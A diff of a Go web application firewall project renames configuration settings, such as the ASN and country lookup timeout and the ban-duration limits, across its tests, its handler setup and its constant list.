s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
|
|||||||
+14
-10
@@ -5,6 +5,7 @@ import (
|
|||||||
"net/netip"
|
"net/netip"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strconv"
|
||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
@@ -34,8 +35,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
|
|||||||
// waitLimit.
|
// waitLimit.
|
||||||
geojsURL, asked, release := startHeldGeoJS(t)
|
geojsURL, asked, release := startHeldGeoJS(t)
|
||||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
// fromDE's second request breaks the limit and bans it, and fromKP
|
// fromDE's second request breaks the limit and bans it, and fromKP
|
||||||
@@ -104,9 +105,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
|||||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
|
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
|
||||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
|
|
||||||
requestFromDE := func() *http.Request {
|
requestFromDE := func() *http.Request {
|
||||||
@@ -364,9 +365,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
|
|||||||
geojsURL,
|
geojsURL,
|
||||||
time.Now,
|
time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
addLookupHeaders: on,
|
addLookupHeaders: on,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
@@ -437,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The test runs in a synctest bubble, where the time package runs on a
|
// The test runs in a synctest bubble, where the time package runs on a
|
||||||
@@ -452,7 +455,8 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
|||||||
|
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
lookupTimeout: timeout.String(),
|
asnAndCountryLookupTimeout: strconv.FormatInt(
|
||||||
|
timeout.Milliseconds(), 10),
|
||||||
allowedCountries: "DE",
|
allowedCountries: "DE",
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,8 @@ import (
|
|||||||
|
|
||||||
const (
|
const (
|
||||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
|
||||||
|
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS"
|
||||||
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
|
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
|
||||||
// request carries it.
|
// request carries it.
|
||||||
token = "0123456789abcdef0123456789abcdef"
|
token = "0123456789abcdef0123456789abcdef"
|
||||||
@@ -133,12 +134,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
|
|
||||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
banResponse: banResponseClose,
|
banResponse: banResponseClose,
|
||||||
limitBanDuration: "1h",
|
limitBanDuration: "1h",
|
||||||
maxBanDuration: "2h",
|
limitBanPermanentAbove: "2h",
|
||||||
})
|
})
|
||||||
|
|
||||||
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
|
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
|
||||||
@@ -176,7 +177,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
|||||||
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
||||||
|
|
||||||
// A limit broken again right after would ban for three hours, longer
|
// A limit broken again right after would ban for three hours, longer
|
||||||
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
|
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent.
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
@@ -236,10 +237,10 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
|||||||
_, _ = io.WriteString(w, "hello")
|
_, _ = io.WriteString(w, "hello")
|
||||||
})
|
})
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
metricsTopN: "2",
|
metricsBusiestCountriesAndASNs: "2",
|
||||||
allowedCountries: "de,fr",
|
allowedCountries: "de,fr",
|
||||||
}
|
}
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
|
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
|
||||||
@@ -322,8 +323,8 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
metricsTopN: "1",
|
metricsBusiestCountriesAndASNs: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
// The answers are kept before the requests, so that GeoJS gives none
|
// The answers are kept before the requests, so that GeoJS gives none
|
||||||
@@ -379,8 +380,9 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
|||||||
req.Header.Set(forwardedFor, fromDE)
|
req.Header.Set(forwardedFor, fromDE)
|
||||||
wantStatus(t, do(t, req), http.StatusOK)
|
wantStatus(t, do(t, req), http.StatusOK)
|
||||||
|
|
||||||
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
|
// The client stops waiting for GeoJS once
|
||||||
// GeoJS's failure can come after its request has ended.
|
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can
|
||||||
|
// come after its request has ended.
|
||||||
deadline := time.Now().Add(waitLimit)
|
deadline := time.Now().Add(waitLimit)
|
||||||
metrics := scrape(t, server.Addr)
|
metrics := scrape(t, server.Addr)
|
||||||
|
|
||||||
|
|||||||
@@ -149,10 +149,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
}
|
}
|
||||||
|
|
||||||
if tc.setting != "" {
|
if tc.setting != "" {
|
||||||
|
|||||||
+30
-22
@@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/"
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
Config *config.Config
|
Config *config.WAF
|
||||||
// RequestLog receives two JSON lines per question, one at its decision and
|
// RequestLog receives two JSON lines per question, one at its decision and
|
||||||
// one when its report comes, and one per request to waf's own
|
// one when its report comes, and one per request to waf's own
|
||||||
// endpoints.
|
// endpoints.
|
||||||
@@ -77,7 +77,7 @@ type Params struct {
|
|||||||
// permanent, for each count over an anomaly threshold, for each request
|
// permanent, for each count over an anomaly threshold, for each request
|
||||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
||||||
// or the day's AbuseIPDB checks used up.
|
// or the day's AbuseIPDB checks used up.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -106,7 +106,10 @@ type Server struct {
|
|||||||
// newHandler returns the handler with what every request shares, as the
|
// newHandler returns the handler with what every request shares, as the
|
||||||
// settings in params make it.
|
// settings in params make it.
|
||||||
func newHandler(params Params) *handler {
|
func newHandler(params Params) *handler {
|
||||||
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
|
m := metrics.New(
|
||||||
|
params.Config.MetricsBusiestCountriesAndASNs,
|
||||||
|
params.Config.InstanceName,
|
||||||
|
)
|
||||||
lists, dnsbl, abuseIPDB := newReputation(params, m)
|
lists, dnsbl, abuseIPDB := newReputation(params, m)
|
||||||
|
|
||||||
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
|
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
|
||||||
@@ -130,21 +133,21 @@ func newHandler(params Params) *handler {
|
|||||||
BytesPerDay: params.Config.BytesLimitPerDay,
|
BytesPerDay: params.Config.BytesLimitPerDay,
|
||||||
}, params.Config.MaxTrackedClients),
|
}, params.Config.MaxTrackedClients),
|
||||||
ledger: bans.New(bans.Params{
|
ledger: bans.New(bans.Params{
|
||||||
LimitBanDuration: params.Config.LimitBanDuration,
|
LimitBanDuration: params.Config.LimitBanDuration,
|
||||||
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
||||||
MaxBanDuration: params.Config.MaxBanDuration,
|
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove,
|
||||||
AttackBanDuration: params.Config.AttackBanDuration,
|
AttackBanDuration: params.Config.AttackBanDuration,
|
||||||
MaxBans: params.Config.MaxBans,
|
MaxBans: params.Config.MaxBans,
|
||||||
}),
|
}),
|
||||||
anomalies: anomaly.New(anomaly.Params{
|
anomalies: anomaly.New(anomaly.Params{
|
||||||
Client: params.Config.AnomalyClient,
|
Client: params.Config.AnomalyClient,
|
||||||
Net: params.Config.AnomalyNet,
|
Net: params.Config.AnomalyNet,
|
||||||
ASN: params.Config.AnomalyASN,
|
ASN: params.Config.AnomalyASN,
|
||||||
Total: params.Config.AnomalyTotal,
|
Total: params.Config.AnomalyTotal,
|
||||||
Watch: params.Config.AnomalyWatch,
|
WatchedNet: params.Config.AnomalyWatchedNet,
|
||||||
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
|
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
|
||||||
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
|
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
|
||||||
NamedNetblocks: params.Config.WatchNets,
|
NamedNetblocks: params.Config.AnomalyWatchedNets,
|
||||||
Alerts: params.Alerts,
|
Alerts: params.Alerts,
|
||||||
}),
|
}),
|
||||||
lookupFile: params.LookupFile,
|
lookupFile: params.LookupFile,
|
||||||
@@ -163,7 +166,7 @@ func newHandler(params Params) *handler {
|
|||||||
|
|
||||||
h.geojs = lookup.New(lookup.Params{
|
h.geojs = lookup.New(lookup.Params{
|
||||||
URL: params.GeoJSURL,
|
URL: params.GeoJSURL,
|
||||||
Timeout: params.Config.LookupTimeout,
|
Timeout: params.Config.ASNAndCountryLookupTimeout,
|
||||||
// The country list, the headers, the tag settings that name an asn=
|
// The country list, the headers, the tag settings that name an asn=
|
||||||
// or country= tag and the biased thresholds act on the answer before
|
// or country= tag and the biased thresholds act on the answer before
|
||||||
// the request goes on.
|
// the request goes on.
|
||||||
@@ -198,14 +201,15 @@ func newReputation(
|
|||||||
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
||||||
})
|
})
|
||||||
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
||||||
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
|
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver,
|
||||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
CacheTTL: cfg.IPReputationCacheTTL,
|
||||||
|
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||||
Alerts: params.Alerts,
|
Alerts: params.Alerts,
|
||||||
})
|
})
|
||||||
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
||||||
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
|
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
|
||||||
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
|
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL,
|
||||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||||
Alerts: params.Alerts,
|
Alerts: params.Alerts,
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -220,7 +224,7 @@ func newReputation(
|
|||||||
|
|
||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in
|
||||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
|
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
|
||||||
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
|
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
@@ -228,15 +232,19 @@ func newReputation(
|
|||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||||
// Core Rule Set only to check it.
|
// Core Rule Set only to check it.
|
||||||
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
|
||||||
if cfg.WAFMode == config.WAFModeOff &&
|
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff &&
|
||||||
cfg.CoreRuleSetExclusionsFile == "" {
|
cfg.CoreRuleSetExclusionsFile == "" {
|
||||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||||
}
|
}
|
||||||
|
|
||||||
coreRuleSet, err := coreruleset.New(coreruleset.Params{
|
coreRuleSet, err := coreruleset.New(coreruleset.Params{
|
||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel,
|
||||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
DisabledRules: cfg.CoreRuleSetDisabledRules,
|
||||||
|
BodyInspectionSize: min(
|
||||||
|
cfg.CoreRuleSetBodyInspectionSize,
|
||||||
|
QuestionBodyMaxBytes-1,
|
||||||
|
),
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
Apps: cfg.Apps,
|
Apps: cfg.Apps,
|
||||||
})
|
})
|
||||||
@@ -247,7 +255,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFMode == config.WAFModeOff {
|
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff {
|
||||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -257,7 +265,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
// handler is waf's handler. It holds what every request shares; what
|
// handler is waf's handler. It holds what every request shares; what
|
||||||
// belongs to one request is in a request.
|
// belongs to one request is in a request.
|
||||||
type handler struct {
|
type handler struct {
|
||||||
config *config.Config
|
config *config.WAF
|
||||||
requestLog io.Writer
|
requestLog io.Writer
|
||||||
processLog *slog.Logger
|
processLog *slog.Logger
|
||||||
now func() time.Time
|
now func() time.Time
|
||||||
|
|||||||
+39
-37
@@ -56,35 +56,35 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
mode = "SWW_WAF_MODE"
|
mode = "SWW_WAF_MODE"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||||
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||||
allowNets = "SWW_WAF_ALLOW_NETS"
|
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
denyNets = "SWW_WAF_DENY_NETS"
|
denyNets = "SWW_WAF_DENY_NETS"
|
||||||
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||||
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS"
|
||||||
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||||
tagDeny = "SWW_WAF_TAG_DENY"
|
tagDeny = "SWW_WAF_TAG_DENY"
|
||||||
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
|
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
|
||||||
denyKP = "country=KP"
|
denyKP = "country=KP"
|
||||||
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||||
banResponse = "SWW_WAF_BAN_RESPONSE"
|
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||||
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||||
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||||
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE"
|
||||||
maxBans = "SWW_WAF_MAX_BANS"
|
maxBans = "SWW_WAF_MAX_BANS"
|
||||||
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||||
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||||
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||||
rulesDir = "SWW_WAF_RULES_DIR"
|
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
||||||
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||||
)
|
)
|
||||||
|
|
||||||
// off is the value that switches a setting off.
|
// off is the value that switches a setting off.
|
||||||
@@ -301,7 +301,7 @@ func startProxyWithGeoJS(
|
|||||||
|
|
||||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||||
// bans made by the time now tells, and returns waf's server as well, whose
|
// bans made by the time now tells, and returns waf's server as well, whose
|
||||||
// Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty
|
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty
|
||||||
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
|
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
|
||||||
// the label instance of every metric.
|
// the label instance of every metric.
|
||||||
func startProxyWithClock(
|
func startProxyWithClock(
|
||||||
@@ -362,17 +362,19 @@ func serve(t *testing.T, server *waf.Server) {
|
|||||||
|
|
||||||
// startRProxy starts rproxy in front of the app at appURL, asking the waf
|
// startRProxy starts rproxy in front of the app at appURL, asking the waf
|
||||||
// at wafAddr, with the settings in env on top of the defaults, and returns
|
// at wafAddr, with the settings in env on top of the defaults, and returns
|
||||||
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
|
// where it listens. What it writes is dropped.
|
||||||
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that
|
||||||
|
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
|
||||||
|
// decide.
|
||||||
func startRProxy(
|
func startRProxy(
|
||||||
t *testing.T, wafAddr, appURL string, env map[string]string,
|
t *testing.T, wafAddr, appURL string, env map[string]string,
|
||||||
) string {
|
) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
|
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
|
||||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||||
"SWW_RPROXY_TIMEOUT_MS": "60000",
|
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000",
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
@@ -440,7 +442,7 @@ func newWAFWith(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
|
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off,
|
||||||
}
|
}
|
||||||
if geojsURL == "" {
|
if geojsURL == "" {
|
||||||
settings[lookupSource] = off
|
settings[lookupSource] = off
|
||||||
@@ -448,7 +450,7 @@ func newWAFWith(
|
|||||||
|
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(configtest.Viper(settings))
|
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -461,7 +463,7 @@ func newWAFWith(
|
|||||||
)
|
)
|
||||||
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("rule files: %v", err)
|
t.Fatalf("rule files: %v", err)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
|
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and
|
||||||
// SWW_WAF_BAN_RESPONSE.
|
// SWW_WAF_BAN_RESPONSE.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -14,9 +14,9 @@ import (
|
|||||||
// refusalLimit counts the request once it has been answered, if waf
|
// refusalLimit counts the request once it has been answered, if waf
|
||||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||||
// in observe mode if enforce mode would have: more than
|
// in observe mode if enforce mode would have: more than
|
||||||
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
